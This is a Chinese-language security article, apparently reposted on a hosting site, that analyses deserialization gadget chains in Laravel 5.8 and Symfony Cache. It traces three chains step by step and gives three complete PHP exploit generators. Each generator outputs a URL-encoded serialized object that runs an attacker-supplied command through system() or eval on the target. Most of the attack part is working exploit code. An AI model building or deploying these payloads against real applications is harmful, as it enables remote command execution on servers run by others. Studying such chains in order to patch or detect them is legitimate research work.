您好,登錄后才能下訂單哦!
這篇文章將為大家詳細講解有關Laravel 5.8反序列化漏洞的示例分析,小編覺得挺實用的,因此分享給大家做個參考,希望大家閱讀完這篇文章后可以有所收獲。
PendingBroadcast->destruct --->Dispatcher->dispatch --->Dispatcher->dispatchToQueue
先看Dispatcher->dispatchToQueue,只要call_user_func的參數都可控,即可執行任意命令
再看pop鏈首
PendingBroadcast->__destruct
$this->events與$this->event可控。
這里需要調用Dispatcher->dispatch
跟進commandShouldBeQueued,只要$command屬于ShouldQueue類(子類也行)即可返回true
跟進Dispatcher->dispatchToQueue
$this->queueResolver可控,$connection由傳入的$command控制,也即是上面的$this->event,可控。
只要找到一個包含$connection屬性的ShouldQueue的實現類即可執行任意代碼。
先找到ShouldQueue的實現類如下
這些類自身沒有$connection屬性,但是一些類使用的trait類Queueable中有$connection,如下
故如下類,可用
QueuedCommand BroadcastEvent SendQueuedNotifications CallQueuedClosure
至此已可編寫exp,整理一下
PendingBroadcast->events = Dispatcher類 PendingBroadcast->event = BroadcastEvent類 //包含$connection屬性的ShouldQueue的實現類 Dispatcher->queueResolver = 要執行的函數 BroadcastEvent->connection = 參數
<?php namespace Illuminate\Bus; class Dispatcher implements QueueingDispatcher{ protected $queueResolver; public function __construct(){ $this->queueResolver = "system"; } } namespace Illuminate\Broadcasting; class BroadcastEvent implements ShouldQueue{ public $connection; public function __construct($cmd){ $this->connection = $cmd; } } namespace Illuminate\Broadcasting; class PendingBroadcast{ protected $events; protected $event; public function __construct($events,$event){ $this->events = $events; $this->event = $event; } } $broadcastevent = new Illuminate\Broadcasting\BroadcastEvent($argv[1]); $dispatcher = new Illuminate\Bus\Dispatcher(); $pending = new Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent); echo urlencode(serialize($pending)); echo "\n"; ?>
控制broadcastevent的$connection為要執行命令的參數即可執行命令了,其他師傅沒有這么做,不是很理解原因。但是下面還是說一下其他師傅的。
利用參數可控的call_user_func可調用任意類方法,如下
故,這里可以調用EvalLoader類的load方法,如下
MockDefinition類的getCode方法返回值可控,如下
只要控制了code并且不進入if語句(使得$definition->getClassName為一個未被載入的類),即可執行代碼
跟蹤getClassName方法
全局查找返回值可控的getName方法,發現MockConfiguration類
至此可編寫exp,整理一下如下
PendingBroadcast->events = Dispatcher類 PendingBroadcast->event = BroadcastEvent類 //包含$connection屬性的ShouldQueue的實現類 Dispatcher->queueResolver = [EvalLoader類,"load"] BroadcastEvent->connection = MockDefinition類 MockDefinition->config = MockConfiguration類 //任一getName返回值可控的類 MockDefinition->code = 要執行的代碼 MockConfiguration->name = ConfigCacheCommand類 //任一未被載入的類
<?php namespace Illuminate\Bus; class Dispatcher{ protected $queueResolver; public function __construct($cmd){ $this->queueResolver = $cmd; } } namespace Illuminate\Broadcasting; class BroadcastEvent{ public $connection; public function __construct($cmd){ $this->connection = $cmd; } } namespace Mockery\Generator; class MockDefinition{ protected $config; protected $code; public function __construct($mockconfiguration,$code){ $this->config = $mockconfiguration; $this->code = $code; } } namespace Mockery\Generator; class MockConfiguration{ protected $name; public function __construct($class){ $this->name = $class; } } namespace Mockery\Loader; class EvalLoader{ } namespace Illuminate\Foundation\Console; class ConfigCacheCommand{ } namespace Illuminate\Broadcasting; class PendingBroadcast{ protected $events; protected $event; public function __construct($events,$event){ $this->events = $events; $this->event = $event; } } $mockconfiguration = new \Mockery\Generator\MockConfiguration(new \Illuminate\Foundation\Console\ConfigCacheCommand()); $mockdefinition = new \Mockery\Generator\MockDefinition($mockconfiguration,"<?php system($argv[1]);?>"); $broadcastevent = new \Illuminate\Broadcasting\BroadcastEvent($mockdefinition); $dispatcher = new \Illuminate\Bus\Dispatcher(array(new \Mockery\Loader\EvalLoader(),"load")); $pending = new \Illuminate\Broadcasting\PendingBroadcast($dispatcher,$broadcastevent); echo urlencode(serialize($pending)); echo "\n"; ?>
TagAwareAdapter->__destruct --->TagAwareAdapter->commit --->TagAwareAdapter->invalidateTags --->ProxyAdapter->saveDeferrred --->ProxyAdapter->doSave
先看命令執行處
若ProxyAdapter->setInnerItem、$innerItem、$item可控,則可命令執行。
回到POP鏈首
TagAwareAdapter->__destruct
跟進,TagAwareAdapter->commit
跟進,TagAwareAdapter->invalidateTags(截取部分)
令$this->pool=ProxyAdapter類
跟進ProxyAdapter->saveDeferred
跟進ProxyAdapter->doSave
首先,$item為我們傳入的參數,也即是$TagAwareAdapter->deferred,可控。
204行的if語句,只要使得$item為CacheItem的實例即可通過。
$this->setInnerItem為ProxyAdapter的屬性,可控。
$innerItem可通過代碼213行控制
至此可以編寫exp,整理一下
$TagAwareAdapter->deferred = ["4ut15m",CacheItem類] $TagAwareAdapter->pool = ProxyAdapter類 $ProxyAdapter->setInnerItem = "system"; $ProxyAdapter->poolHash = "4ut15m"; $CacheItem->innerItem = 要執行的命令 $CacheItem->poolHash = "4ut15m";
這條鏈并不復雜,具體的內容看exp
<?php namespace Symfony\Component\Cache\Adapter; class TagAwareAdapter{ private $deferred; private $pool; public function __construct($obj, $obj2){ $this->deferred = array("4ut15m" => $obj2); $this->pool = $obj; } } namespace Symfony\Component\Cache; final class CacheItem{ protected $innerItem; protected $poolHash; public function __construct($cmd){ $this->innerItem = "$cmd"; $this->poolHash = "4ut15m"; } } namespace Symfony\Component\Cache\Adapter; class ProxyAdapter{ private $setInnerItem; private $poolHash; public function __construct(){ $this->setInnerItem = "system"; $this->poolHash = "4ut15m"; } } $cacheitem = new \Symfony\Component\Cache\CacheItem($argv[1]); $proxyadapter = new \Symfony\Component\Cache\Adapter\ProxyAdapter(); $TagAwareAdapter = new \Symfony\Component\Cache\Adapter\TagAwareAdapter($proxyadapter, $cacheitem); echo urlencode(serialize($TagAwareAdapter)); echo "\n"; ?>
關于“Laravel 5.8反序列化漏洞的示例分析”這篇文章就分享到這里了,希望以上內容可以對大家有一定的幫助,使各位可以學到更多知識,如果覺得文章不錯,請把它分享出去讓更多的人看到。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。